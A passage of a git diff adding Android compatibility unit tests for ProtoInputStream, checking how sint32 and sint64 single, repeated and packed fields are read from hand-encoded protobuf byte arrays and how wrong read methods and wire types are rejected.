+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint32Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+        final long FIELD_ID = fieldFlags | ((long) 71 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint32FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint32FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sint32FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x02,
+                (byte) 0x02,
+                // 6 -> MAX_VALUE
+                (byte) 0x32,
+                (byte) 0x0a,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[0]);
+        testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+        final long FIELD_ID = fieldFlags | ((long) 72 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint32FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint32FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sint32FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed sint32)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java
new file mode 100644
index 0000000..5504230
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java
@@ -0,0 +1,621 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSInt64Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[] results = new long[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+        assertEquals(Long.MIN_VALUE, results[5]);
+        assertEquals(Long.MAX_VALUE, results[6]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+        testReadCompat(Long.MIN_VALUE);
+        testReadCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(long val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+        final long FIELD_ID = fieldFlags | ((long) 80 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint64Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint64Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+        final long FIELD_ID = fieldFlags | ((long) 81 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint64FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint64FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sint64FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x02,
+                (byte) 0x02,
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x42,
+                (byte) 0x0a,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x3a,
+                (byte) 0x14,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
